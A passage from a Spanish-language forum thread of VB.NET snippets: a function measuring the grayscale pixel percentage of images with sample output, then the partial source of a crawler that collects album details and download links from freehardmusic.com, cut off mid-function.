  3. ''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
  4. ''' then calculates a percentage of the total grayscale presence in the image.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <example> This is a code example.
  8. ''' <code>
  9. ''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  10. '''
  11. '''     Using img As Image = Image.FromFile(file.FullName)
  12. '''         Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
  13. '''         Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  14. '''
  15. '''         Console.WriteLine(strFormat)
  16. '''     End Using
  17. '''
  18. ''' Next file
  19. ''' </code>
  20. ''' </example>
  21. ''' ----------------------------------------------------------------------------------------------------
  22. ''' <param name="img">
  23. ''' The source image.
  24. ''' </param>
  25. ''' ----------------------------------------------------------------------------------------------------
  26. ''' <returns>
  27. ''' The resulting percentage of grayscale pixels in the source image.
  28. ''' </returns>
  29. ''' ----------------------------------------------------------------------------------------------------
  30. <DebuggerStepThrough>
  31. Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image) As Double
  32.    Return GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
  33. End Function
  34.  
  35. ''' ----------------------------------------------------------------------------------------------------
  36. ''' <summary>
  37. ''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
  38. ''' then calculates a percentage of the total grayscale presence in the image.
  39. ''' </summary>
  40. ''' ----------------------------------------------------------------------------------------------------
  41. ''' <example> This is a code example.
  42. ''' <code>
  43. ''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  44. '''
  45. '''     Using img As Image = Image.FromFile(file.FullName)
  46. '''         Dim percent As Double = GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
  47. '''         Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  48. '''
  49. '''         Console.WriteLine(strFormat)
  50. '''     End Using
  51. '''
  52. ''' Next file
  53. ''' </code>
  54. ''' </example>
  55. ''' ----------------------------------------------------------------------------------------------------
  56. ''' <param name="img">
  57. ''' The source image.
  58. ''' </param>
  59. ''' ----------------------------------------------------------------------------------------------------
  60. ''' <returns>
  61. ''' The resulting percentage of grayscale pixels in the source image.
  62. ''' </returns>
  63. ''' ----------------------------------------------------------------------------------------------------
  64. <DebuggerStepThrough>
  65. Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image, ByVal dimensionIndex As Integer) As Double
  66.  
  67.    Select Case img.PixelFormat
  68.  
  69.        Case Imaging.PixelFormat.Format16bppGrayScale
  70.            Return 100.0R
  71.  
  72.        Case Else
  73.            Dim bmp As Bitmap = DirectCast(img, Bitmap)
  74.  
  75.            Dim pixelFormat As Imaging.PixelFormat = Imaging.PixelFormat.Format32bppArgb
  76.            Dim bytesPerPixel As Integer = 4 ' PixelFormat.Format32bppArgb
  77.            Dim pixelCount As Integer = (bmp.Width * bmp.Height)
  78.  
  79.            Dim framesGrayscalePercents As New List(Of Double)
  80.  
  81.            Dim dimensionCount As Integer = bmp.FrameDimensionsList.Count
  82.            If (dimensionIndex > (dimensionCount - 1))Then
  83.                Throw New IndexOutOfRangeException("The specified 'dimensionIndex' value is greater than the dimension count in the source image.")
  84.            End If
  85.  
  86.            Dim frameDimension As New FrameDimension(bmp.FrameDimensionsList(dimensionIndex))
  87.            Dim frameCount As Integer = bmp.GetFrameCount(frameDimension)
  88.  
  89.            For frameIndex As Integer = 0 To (frameCount - 1)
  90.  
  91.                bmp.SelectActiveFrame(frameDimension, frameIndex)
  92.  
  93.                ' Lock the bitmap bits.
  94.                Dim rect As New Rectangle(Point.Empty, bmp.Size)
  95.                Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, pixelFormat)
  96.  
  97.                ' Get the address of the first row.
  98.                Dim address As IntPtr = bmpData.Scan0
  99.  
  100.                ' Declare an array to hold the bytes of the bitmap.
  101.                Dim numBytes As Integer = (Math.Abs(bmpData.Stride) * rect.Height)
  102.                Dim rawImageData As Byte() = New Byte(numBytes - 1) {}
  103.  
  104.                ' Copy the RGB values into the array.
  105.                Marshal.Copy(address, rawImageData, 0, numBytes)
  106.  
  107.                ' Unlock the bitmap bits.
  108.                bmp.UnlockBits(bmpData)
  109.  
  110.                ' Iterate the pixels.
  111.                Dim grayscalePixelCount As Long ' of current frame.
  112.                For i As Integer = 0 To (rawImageData.Length - bytesPerPixel) Step bytesPerPixel
  113.  
  114.                    ' Dim alpha As Byte = rawImageData(i + 3)
  115.                    Dim red As Byte = rawImageData(i + 2)
  116.                    Dim green As Byte = rawImageData(i + 1)
  117.                    Dim blue As Byte = rawImageData(i)
  118.  
  119.                    If (red = green) AndAlso (green = blue) AndAlso (blue = red) Then
  120.                        grayscalePixelCount += 1
  121.                    End If
  122.  
  123.                Next i
  124.  
  125.                Dim frameGrayscalePercent As Double = ((grayscalePixelCount / pixelCount) * 100)
  126.                framesGrayscalePercents.Add(frameGrayscalePercent)
  127.  
  128.                grayscalePixelCount = 0
  129.            Next frameIndex
  130.  
  131.            Return (framesGrayscalePercents.Sum() / frameCount)
  132.  
  133.    End Select
  134.  
  135. End Function

Ejemplo de uso:
Código
  1. For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
  2.  
  3.    Using img As Image = Image.FromFile(file.FullName)
  4.        Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
  5.        Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
  6.  
  7.        Console.WriteLine(strFormat)
  8.    End Using
  9.  
  10. Next file

Salida de ejecución:
Cita de: Visual Studio
Código:
...
[100.00%]: 3066279034_22e5cf9106_o.gif
[  0.00%]: 32.gif
[  3.30%]: 3680650203a3998289_f47a.gif
[  8.11%]: 3Gg9L8.gif
[100.00%]: 3mp3z4riv4.gif
[  1.14%]: 4291d5bb0f6574cdd24dfbf8962f2f28-p1.gif
[  2.22%]: 4e3149ff0114b_af0234434ffb9e48ce1edc3af6ce1a2c.gif
[ 13.42%]: 4e4d24314abf8_d4acae20ee9fe20f019927b098a8e8e6.gif
[ 28.13%]: 4e7b20c8d03fc_e93059b97d764b1681534f714c318ba7.gif
[  4.43%]: 4e92c46d124de_aa5135da3b32b8eee8a80aa2a2550f5d.gif
[  0.68%]: 5055.gif
[100.00%]: 506c602fd749e_a2c439e67bf77d03ba94a914d8927f4a.gif
[100.00%]: 511d0b2580b20_abd567e0d431dd00bb7bc162eb4d171c.gif
[  2.34%]: 520374123e3d3_285a501b39852024a053090a304647ca.gif
[  2.74%]: 543ea44def8f2_a3e09112b3710ce306ddf167991604e1.gif
...





¿Cómo determinar si una imagen está en escala de grises?

Si buscan una solución más sofisticada que la mia hecha en WinForms, recomiendo encarecidamente usar este código en WPF:

  • StackOverflow.com: How to determine if an Image is Grayscale in C# or VB.NET? (https://stackoverflow.com/a/49481035/1248295)

Su solución y la mia tienen distintos objetivos aunque a priori parezcan "lo mismo", su solución tiene como propósito determinar si una imagen es en escala de grises por definición, mientras que la mia lo que hace es determinar el porcentaje de presencia de píxeles en escala de grises de una imagen, y por ello su solución devolverá resultados "inesperados" según el tipo de imagen (imagen en blanco y negro, en colores vivos, escala de grises, o simples imagenes desaturadas), pero eso no quita que su solución sea EXCELENTE, de hecho, es mucho mejor que mi solución en el caso de que no deseamos considerar imágenes desaturadas como escala de grises sino que solo queramos trabajar con imágenes en escala de grises por definición técnica.

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Abril 2018, 01:34 am
Comparto el código fuente de FHM Crawler, mejorado y documentado... (bueno, me he visto obligado a simplificar y recortar la documentación por el límite de caracteres del foro)

Aquí el programa original:

  • https://foro.elhacker.net/net/sourcecode_fhm_crawler_freehardmusiccom-t482152.0.html

Aquí el nuevo algoritmo reutilizable:

AlbumInfo.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.ObjectModel
  4.  
  5. #End Region
  6.  
  7. Namespace FHM
  8.  
  9.    ''' <summary>Represents the information of an album crawled with <see cref="FHM.Crawler"/>.</summary>
  10.    Public NotInheritable Class AlbumInfo
  11.  
  12. #Region " Properties "
  13.  
  14.        ''' <summary>Gets the album identifier (that is used in the 'sobiid' and 'sobi2id' parameters).</summary>
  15.        Public ReadOnly Property Id As String
  16.  
  17.        ''' <summary>Gets the album <see cref="Uri"/>.</summary>
  18.        Public ReadOnly Property Uri As Uri
  19.  
  20.        ''' <summary>Gets the artist name.</summary>
  21.        Public ReadOnly Property Artist As String
  22.  
  23.        ''' <summary>Gets the album title.</summary>
  24.        Public ReadOnly Property Title As String
  25.  
  26.        ''' <summary>Gets the country of the band/artist.</summary>
  27.        Public ReadOnly Property Country As String
  28.  
  29.        ''' <summary>Gets the music genre.</summary>
  30.        Public ReadOnly Property Genre As String
  31.  
  32.        ''' <summary>Gets the year that the album has been released.</summary>
  33.        Public ReadOnly Property Year As Integer
  34.  
  35.        ''' <summary>Gets the urls to download the album. It can be a single url, or multiple of them.</summary>
  36.        Public ReadOnly Property DownloadLinks As ReadOnlyCollection(Of String)
  37.  
  38. #End Region
  39.  
  40. #Region " Constructors "
  41.  
  42.        Private Sub New()
  43.        End Sub
  44.  
  45.        ''' <summary>Initializes a new instance of the <see cref="AlbumInfo"/> class.</summary>
  46.        ''' <param name="id">The album identifier>.</param>
  47.        ''' <param name="uri">The album <see cref="Uri"/>.</param>
  48.        ''' <param name="artist">The artist name.</param>
  49.        ''' <param name="title">The album title.</param>
  50.        ''' <param name="country">The country of the band/artist.</param>
  51.        ''' <param name="genre">The music genre.</param>
  52.        ''' <param name="year">The year that the album has been released.</param>
  53.        ''' <param name="downloadLinks">The urls to download the album. It can be a single url, or multiple of them.</param>
  54.        Public Sub New(id As String, uri As Uri,
  55.                       artist As String, title As String,
  56.                       country As String, genre As String, year As Integer,
  57.                       downloadLinks As IEnumerable(Of String))
  58.  
  59.            Me.Id = id
  60.            Me.Uri = uri
  61.            Me.Artist = artist
  62.            Me.Title = title
  63.            Me.Country = country
  64.            Me.Genre = genre
  65.            Me.Year = year
  66.            Me.DownloadLinks = New ReadOnlyCollection(Of String)(downloadLinks)
  67.  
  68.        End Sub
  69.  
  70. #End Region
  71.  
  72.    End Class
  73.  
  74. End Namespace

SearchQuery.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.Specialized
  4.  
  5. Imports ElektroKit.Core.Extensions.NameValueCollection
  6.  
  7. #End Region
  8.  
  9. Namespace FHM
  10.  
  11.    ''' <summary>Represents a search query of the http://freehardmusic.com/ website,
  12.    ''' that is managed by the <see cref="FHM.Crawler.FetchAlbums()"/>
  13.    ''' and <see cref="FHM.Crawler.FetchAlbumsAsync()"/> methods.
  14.    ''' <para></para>
  15.    ''' Note that a search query can be performed in two different ways:
  16.    ''' <para></para>
  17.    ''' 1. An artist-name based search (<see cref="SearchQuery.Artist"/>).
  18.    ''' <para></para>
  19.    ''' 2. A non-artist name based search. That is, a custom search based on country (<see cref="SearchQuery.Country"/>),
  20.    ''' genre (<see cref="SearchQuery.Genre"/>) or year criterias (<see cref="SearchQuery.Year"/>);
  21.    ''' this kind of search can combine the three mentioned criterias, but not the artist name (<see cref="SearchQuery.Artist"/>).
  22.    Public NotInheritable Class SearchQuery
  23.  
  24. #Region " Properties "
  25.  
  26.        ''' <summary>Gets or sets the artist name.</summary>
  27.        Public Property Artist As String
  28.            Get
  29.                Return Me.artistB
  30.            End Get
  31.            <DebuggerStepThrough>
  32.            Set(value As String)
  33.                If Not (Me.countryB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
  34.                   Not (Me.genreB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
  35.                   Not (Me.yearB.Equals("all", StringComparison.OrdinalIgnoreCase)) Then
  36.  
  37.                    Throw New ArgumentException("To perform an artist-name based search, you must set the value of Country, Genre and Year properties to ""all"" before setting the Artist property.", paramName:=NameOf(value))
  38.                End If
  39.                Me.artistB = value
  40.            End Set
  41.        End Property
  42.        Private artistB As String
  43.  
  44.        ''' <summary>Gets or sets the country of the band/artist.</summary>
  45.        Public Property Country As String
  46.            Get
  47.                Return Me.countryB
  48.            End Get
  49.            <DebuggerStepThrough>
  50.            Set(value As String)
  51.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  52.                    Throw New ArgumentException("To perform a country based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  53.                End If
  54.                Me.countryB = value
  55.            End Set
  56.        End Property
  57.        Private countryB As String
  58.  
  59.        ''' <summary>Gets or sets the music genre.</summary>
  60.        Public Property Genre As String
  61.            Get
  62.                Return Me.genreB
  63.            End Get
  64.            <DebuggerStepThrough>
  65.            Set(value As String)
  66.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  67.                    Throw New ArgumentException("To perform a genre based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  68.                End If
  69.                Me.genreB = value
  70.            End Set
  71.        End Property
  72.        Private genreB As String
  73.  
  74.        ''' <summary>Gets or sets the year that the album has been released.</summary>
  75.        Public Property Year As String
  76.            Get
  77.                Return Me.yearB
  78.            End Get
  79.            <DebuggerStepThrough>
  80.            Set(value As String)
  81.                If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
  82.                    Throw New ArgumentException("To perform a year based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
  83.                End If
  84.                Me.yearB = value
  85.            End Set
  86.        End Property
  87.        Private yearB As String
  88.  
  89.        ''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
  90.        Public ReadOnly Property Uri As Uri
  91.            Get
  92.                Return Me.Uri(searchPage:=0)
  93.            End Get
  94.        End Property
  95.  
  96.        ''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
  97.        ''' <param name="searchPage">The index of the search page parameter.</param>
  98.        Public ReadOnly Property Uri(searchPage As Integer) As Uri
  99.            Get
  100.                Return New Uri(Me.ToString(searchPage), UriKind.Absolute)
  101.            End Get
  102.        End Property
  103.  
  104. #End Region
  105.  
  106. #Region " Constructors "
  107.  
  108.        Private Sub New()
  109.        End Sub
  110.  
  111.        ''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
  112.        ''' <param name="artist">The artist name.</param>
  113.        Public Sub New(artist As String)
  114.            Me.artistB = artist
  115.            Me.genreB = "all"
  116.            Me.countryB = "all"
  117.            Me.yearB = "all"
  118.        End Sub
  119.  
  120.        ''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
  121.        ''' <param name="genre">The music genre. Default value is: "all"</param>
  122.        ''' <param name="country">The country of the band/artist. Default value is: "all"</param>
  123.        ''' <param name="year">The year that the album has been released. Default value is: "all"</param>
  124.        Public Sub New(Optional genre As String = "all",
  125.                       Optional country As String = "all",
  126.                       Optional year As String = "all")
  127.  
  128.            Me.artistB = ""
  129.            Me.genreB = genre
  130.            Me.countryB = country
  131.            Me.yearB = year
  132.        End Sub
  133.  
  134. #End Region
  135.  
  136. #Region " Public Methods "
  137.  
  138.        ''' <summary>Resets the current search query to its default values.</summary>
  139.        <DebuggerStepThrough>
  140.        Public Sub Reset()
  141.            Me.Artist = ""
  142.            Me.Country = "all"
  143.            Me.Genre = "all"
  144.            Me.Year = "all"
  145.        End Sub
  146.  
  147.        ''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
  148.        ''' <returns>A <see cref="String"/> that represents the search query.</returns>
  149.        Public Overrides Function ToString() As String
  150.            Return Me.ToString(searchPage:=0)
  151.        End Function
  152.  
  153.        ''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
  154.        ''' <param name="searchPage">The index of the search page parameter.</param>
  155.        ''' <returns>A <see cref="String"/> that represents the search query.</returns>
  156.        Public Overloads Function ToString(searchPage As Integer) As String
  157.  
  158.            If (searchPage < 0) Then
  159.                Throw New ArgumentException("Positive integer value is required.", paramName:=NameOf(searchPage))
  160.            End If
  161.  
  162.            Dim params As New NameValueCollection From {
  163.                {"field_band", Me.Artist},
  164.                {"field_country", Me.Country},
  165.                {"field_genre", Me.Genre},
  166.                {"field_year", Me.Year},
  167.                {"option", "com_sobi2"},
  168.                {"search", "Search"},
  169.                {"searchphrase", "exact"},
  170.                {"sobi2Search", ""},
  171.                {"sobi2Task", "axSearch"},
  172.                {"SobiCatSelected_0", "0"},
  173.                {"sobiCid", "0"},
  174.                {"SobiSearchPage", searchPage}
  175.            }
  176.  
  177.            Return params.ToQueryString(New Uri("http://freehardmusic.com/index.php"))
  178.  
  179.        End Function
  180.  
  181. #End Region
  182.  
  183.    End Class
  184.  
  185. End Namespace

PageCrawlBeginEventArgs.vb
Código
  1. Namespace FHM
  2.  
  3.    ''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlBegin"/> event.</summary>
  4.    Public NotInheritable Class PageCrawlBeginEventArgs : Inherits EventArgs
  5.  
  6. #Region " Properties "
  7.  
  8.        ''' <summary>Gets the search query used.</summary>
  9.        Public ReadOnly Property SearchQuery As SearchQuery
  10.  
  11.        ''' <summary>Gets the index of the search page being crawled.</summary>
  12.        Public ReadOnly Property SearchPage As Integer
  13.  
  14. #End Region
  15.  
  16. #Region " Constructors "
  17.  
  18.        Private Sub New()
  19.        End Sub
  20.  
  21.        ''' <summary>Initializes a new instance of the <see cref="PageCrawlBeginEventArgs"/> class.</summary>
  22.        ''' <param name="searchQuery">The search query used.</param>
  23.        ''' <param name="searchPage">The index of the search page.</param>
  24.        Public Sub New(searchQuery As SearchQuery, searchPage As Integer)
  25.            Me.SearchQuery = searchQuery
  26.            Me.SearchPage = searchPage
  27.        End Sub
  28.  
  29. #End Region
  30.  
  31.    End Class
  32.  
  33. End Namespace

PageCrawlEndEventArgs.vb
Código
  1. Namespace FHM
  2.  
  3.    ''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlEnd"/> event.</summary>
  4.    Public NotInheritable Class PageCrawlEndEventArgs : Inherits EventArgs
  5.  
  6. #Region " Properties "
  7.  
  8.        ''' <summary>Gets the search query used.</summary>
  9.        Public ReadOnly Property SearchQuery As SearchQuery
  10.  
  11.        ''' <summary>Gets the index of the search page crawled.</summary>
  12.        Public ReadOnly Property SearchPage As Integer
  13.  
  14.        ''' <summary>Gets a collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</summary>
  15.        Public ReadOnly Property Albums As ReadOnlyCollection(Of AlbumInfo)
  16.  
  17. #End Region
  18.  
  19. #Region " Constructors "
  20.  
  21.        Private Sub New()
  22.        End Sub
  23.  
  24.        ''' <summary>Initializes a new instance of the <see cref="PageCrawlEndEventArgs"/> class.</summary>
  25.        ''' <param name="searchQuery">The search query used.</param>
  26.        ''' <param name="searchPage">The index of the search page crawled.</param>
  27.        ''' <param name="albums">A collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</param>
  28.        Public Sub New(searchQuery As SearchQuery, searchPage As Integer, albums As ICollection(Of AlbumInfo))
  29.            Me.SearchQuery = searchQuery
  30.            Me.SearchPage = searchPage
  31.            Me.Albums = New ReadOnlyCollection(Of AlbumInfo)(albums)
  32.        End Sub
  33.  
  34. #End Region
  35.  
  36.    End Class
  37.  
  38. End Namespace

Crawler.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.Specialized
  4. Imports System.Text.RegularExpressions
  5.  
  6. Imports HtmlDocument = HtmlAgilityPack.HtmlDocument
  7. Imports HtmlNode = HtmlAgilityPack.HtmlNode
  8. Imports HtmlNodeCollection = HtmlAgilityPack.HtmlNodeCollection
  9.  
  10. Imports ElektroKit.Core.Extensions.NameValueCollection
  11.  
  12. #End Region
  13.  
  14. Namespace FHM
  15.  
  16.    ''' <summary>A crawler that searchs and collect albums (its download links) from the http://freehardmusic.com/ website.</summary>
  17.    Public Class Crawler : Implements IDisposable
  18.  
  19. #Region " Private Fields "
  20.  
  21.        ''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/".</summary>
  22.        Protected ReadOnly uriBase As New Uri("http://freehardmusic.com/")
  23.  
  24.        ''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/index2.php".</summary>
  25.        Protected ReadOnly uriIndex As New Uri(Me.uriBase, "/index2.php")
  26.  
  27.        ''' <summary>Flag that determines whether this <see cref="Crawler"/> is busy in a pending fetch operation.</summary>
  28.        Protected isFetching As Boolean
  29.  
  30.        ''' <summary>The <see cref="CancellationToken"/> instance that cancels a pending fetch operation
  31.        ''' started by a call of <see cref="Crawler.FetchAlbumsAsync()"/>.</summary>
  32.        Protected cancelToken As CancellationToken
  33.  
  34.        ''' <summary>The <see cref="CancellationTokenSource"/> instance that signals to <see cref="Crawler.cancelToken"/>.</summary>
  35.        Protected cancelTokenSrc As CancellationTokenSource
  36.  
  37. #End Region
  38.  
  39. #Region " Properties "
  40.  
  41.        ''' <summary>Gets the search query.</summary>
  42.        Public ReadOnly Property SearchQuery As SearchQuery
  43.  
  44. #End Region
  45.  
  46. #Region " Events "
  47.  
  48.        ''' <summary>Occurs when a page is about to be crawled.</summary>
  49.        Public Event PageCrawlBegin As EventHandler(Of PageCrawlBeginEventArgs)
  50.  
  51.        ''' <summary>Occurs when a page is crawled.</summary>
  52.        Public Event PageCrawlEnd As EventHandler(Of PageCrawlEndEventArgs)
  53.  
  54. #End Region
  55.  
  56. #Region " Constructors "
  57.  
  58.        ''' <summary>Initializes a new instance of the <see cref="Crawler"/> class.</summary>
  59.        Public Sub New()
  60.            Me.SearchQuery = New SearchQuery()
  61.            Me.cancelTokenSrc = New CancellationTokenSource()
  62.            Me.cancelToken = Me.cancelTokenSrc.Token
  63.        End Sub
  64.  
  65. #End Region
  66.  
  67. #Region " Public Methods "
  68.  
  69.        ''' <summary>Gets the count of the albums found using the current search query.</summary>
  70.        ''' <returns>The count of the albums found using the current search query.</returns>
  71.        <DebuggerStepThrough>
  72.        Public Overridable Function GetAlbumCount() As Integer
  73.            Dim t As Task(Of Integer) = Task.Run(Of Integer)(AddressOf Me.GetAlbumCountAsync)
  74.            t.Wait()
  75.  
  76.            Return t.Result
  77.        End Function
  78.  
  79.        ''' <summary>Asynchronously gets the count of the albums found using the current search query.</summary>
  80.        ''' <returns>The count of the albums found using the current search query.</returns>
  81.        <DebuggerStepThrough>
  82.        Public Overridable Async Function GetAlbumCountAsync() As Task(Of Integer)
  83.            Dim query As String = Me.SearchQuery.ToString(searchPage:=0)
  84.            Dim uriSearch As New Uri(query)
  85.            Dim htmlSourceCode As String = String.Empty
  86.            Using wc As New WebClient
  87.                htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
  88.            End Using
  89.  
  90.            Dim htmldoc As New HtmlDocument
  91.            htmldoc.LoadHtml(htmlSourceCode)
  92.  
  93.            Dim xPathResultString As String = "//div[@id='mainbody']/table[1]/tr[2]/td"
  94.  
  95.            Dim node As HtmlNode = htmldoc.DocumentNode.SelectSingleNode(xPathResultString)
  96.  
  97.            Dim text As String = node.InnerText
  98.            text = Regex.Replace(text, "\n", "", RegexOptions.None)    ' Remove new lines.
  99.            text = Regex.Replace(text, "\t", " "c, RegexOptions.None)  ' Replace tabs for white-spaces.
  100.            text = Regex.Replace(text, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
  101.  
  102.            Dim albumCount As Integer = CInt(Regex.Match(text, "\d+", RegexOptions.None).Value)
  103.            Return albumCount
  104.        End Function
  105.  
  106.        ''' <summary>Fetch any album found using the current search query.</summary>
  107.        <DebuggerStepThrough>
  108.        Public Overridable Sub FetchAlbums()
  109.            Dim t As Task = Task.Run(AddressOf Me.FetchAlbumsAsync)
  110.            t.Wait()
  111.        End Sub
  112.  
  113.        ''' <summary>Asynchronously fetch any album found using the current search query.</summary>
  114.        ''' <returns>Returns <see langword="False"/> if the fetch operation was canceled by a call to
  115.        ''' <see cref="Crawler.CancelFetchAlbumsAsync()"/> method.</returns>
  116.        <DebuggerStepThrough>
  117.        Public Overridable Async Function FetchAlbumsAsync() As Task(Of Boolean)
  118.            If (Me.isFetching) Then
  119.                Throw New Exception("Another fetch operation is already running in background.")
  120.            End If
  121.            Me.isFetching = True
  122.  
  123.            Me.cancelTokenSrc.Dispose()
  124.            Me.cancelTokenSrc = New CancellationTokenSource()
  125.            Me.cancelToken = Me.cancelTokenSrc.Token
  126.  
  127.            Dim albumCount As Integer = Await Me.GetAlbumCountAsync()
  128.            If (albumCount = 0) Then
  129.                Me.isFetching = False
  130.                Return True
  131.            End If
  132.  
  133.            Dim maxPages As Integer = ((albumCount \ 10) + 1) ' 10 albums per page.
  134.            For i As Integer = 0 To (maxPages - 1)
  135.                Dim query As String = Me.SearchQuery.ToString(searchPage:=i)
  136.                Dim uriSearch As New Uri(query)
  137.                Dim htmlSourceCode As String = String.Empty
  138.                Using wc As New WebClient
  139.                    htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
  140.                End Using
  141.  
  142.                If (Me.cancelToken.IsCancellationRequested) Then
  143.                    Me.isFetching = False
  144.                    Return False
  145.                End If
  146.  
  147.                Me.OnPageCrawlBegin(New PageCrawlBeginEventArgs(Me.SearchQuery, i))
  148.                Await Me.ParseHtmlSourceCode(i, htmlSourceCode)
  149.            Next i
  150.  
  151.            Me.isFetching = False
  152.            Return True
  153.        End Function
  154.  
  155.        ''' <summary>Aborts a pending fetch operation started by a call to <see cref="Crawler.FetchAlbumsAsync()"/> function.</summary>
  156.        <DebuggerStepThrough>
  157.        Public Sub CancelFetchAlbumsAsync()
  158.            If Not (Me.isFetching) Then
  159.                Throw New Exception("No fetch operation is running.")
  160.            End If
  161.  
  162.            If (Me.cancelToken.IsCancellationRequested) Then
  163.                ' Handle redundant cancellation calls to CancelFetchAlbums()...
  164.                Me.cancelToken.ThrowIfCancellationRequested()
  165.            End If
  166.  
  167.            Me.cancelTokenSrc.Cancel()
  168.        End Sub
  169.  
  170.        ''' <summary>Resets the current search query (<see cref="Crawler.SearchQuery"/>) to its default values.</summary>
  171.        <DebuggerStepThrough>
  172.        Public Sub ResetSearchQuery()
  173.            Me.SearchQuery.Reset()
  174.        End Sub
  175.  
  176. #End Region
  177.  
  178. #Region " Event-Invocators "
  179.  
  180.        ''' <summary>Raises the <see cref="Crawler.PageCrawlBegin"/> event.</summary>
  181.        ''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
  182.        Protected Overridable Sub OnPageCrawlBegin(e As PageCrawlBeginEventArgs)
  183.            If (Me.PageCrawlBeginEvent IsNot Nothing) Then
  184.                RaiseEvent PageCrawlBegin(Me, e)
  185.            End If
  186.        End Sub
  187.  
  188.        ''' <summary>Raises the <see cref="Crawler.PageCrawlEnd"/> event.</summary>
  189.        ''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
  190.        Protected Overridable Sub OnPageCrawlEnd(e As PageCrawlEndEventArgs)
  191.            If (Me.PageCrawlEndEvent IsNot Nothing) Then
  192.                RaiseEvent PageCrawlEnd(Me, e)
  193.            End If
  194.        End Sub
  195.  
  196. #End Region
  197.  
  198. #Region " Private Methods "
  199.  
  200.        ''' <summary>Parses the html source code to crawl the albums.</summary>
  201.        ''' <param name="searchPage">The index of the search page.</param>
  202.        ''' <param name="htmlSourceCode">The html source code to parse.</param>
  203.        ''' <returns>Returns <see langword="True"/> if the operation succed; otherwise, <see langword="False"/>.</returns>
  204.        <DebuggerStepperBoundary>
  205.        Private Async Function ParseHtmlSourceCode(searchPage As Integer, htmlSourceCode As String) As Task(Of Boolean)
  206.  
  207.            Dim albums As New Collection(Of AlbumInfo)
  208.  
  209.            Dim xPathTable As String = "//table[@class='vicard']"
  210.            Dim xPathArtist As String = ".//tr/td/span[@class='sobi2Listing_field_band']"
  211.            Dim xPathCountry As String = ".//table[@class='vicard2']/tr/td[@class='goods']/table[@class='goods']/tr/td/img"
  212.            Dim xPathGenre As String = ".//tr[3]/td/table/tr/td[2]/table/tr/td"
  213.            Dim xPathYear As String = ".//tr/td/span[@class='sobi2Listing_field_year']"
  214.            Dim xPathTitle As String = ".//tr/td/p[@class='sobi2ItemTitle']/a[@title]"
  215.            Dim xPathUrl As String = ".//table[@class='vicard2']/tr/td/a[@href]"
  216.  
  217.            Dim htmldoc As New HtmlDocument
  218.            Try
  219.              htmldoc.LoadHtml(htmlSourceCode)
  220.            Catch ex As Exception
  221.                Return False
  222.            End Try
  223.  
  224.            Dim nodes As HtmlNodeCollection = htmldoc.DocumentNode.SelectNodes(xPathTable)
  225.            If (nodes.Count = 0) Then
  226.                Return False
  227.            End If
  228.  
  229.            For Each node As HtmlNode In nodes
  230.                Dim artist As String
  231.                Dim title As String
  232.                Dim country As String
  233.                Dim genre As String
  234.                Dim year As String
  235.  
  236.                Dim albumId As String
  237.                Dim albumUrl As String
  238.  
  239.                Try
  240.                    artist = node.SelectSingleNode(xPathArtist).InnerText
  241.                    artist = Encoding.UTF8.GetString(Encoding.Default.GetBytes(artist))
  242.                    artist = HttpUtility.HtmlDecode(artist)
  243.                    artist = New CultureInfo("en-US").TextInfo.ToTitleCase(artist.Trim(" "c).ToLower())
  244.                Catch ex As Exception
  245.                    artist = "unknown"
  246.                End Try
  247.  
  248.                Try
  249.                    title = node.SelectSingleNode(xPathTitle).GetAttributeValue("title", "")
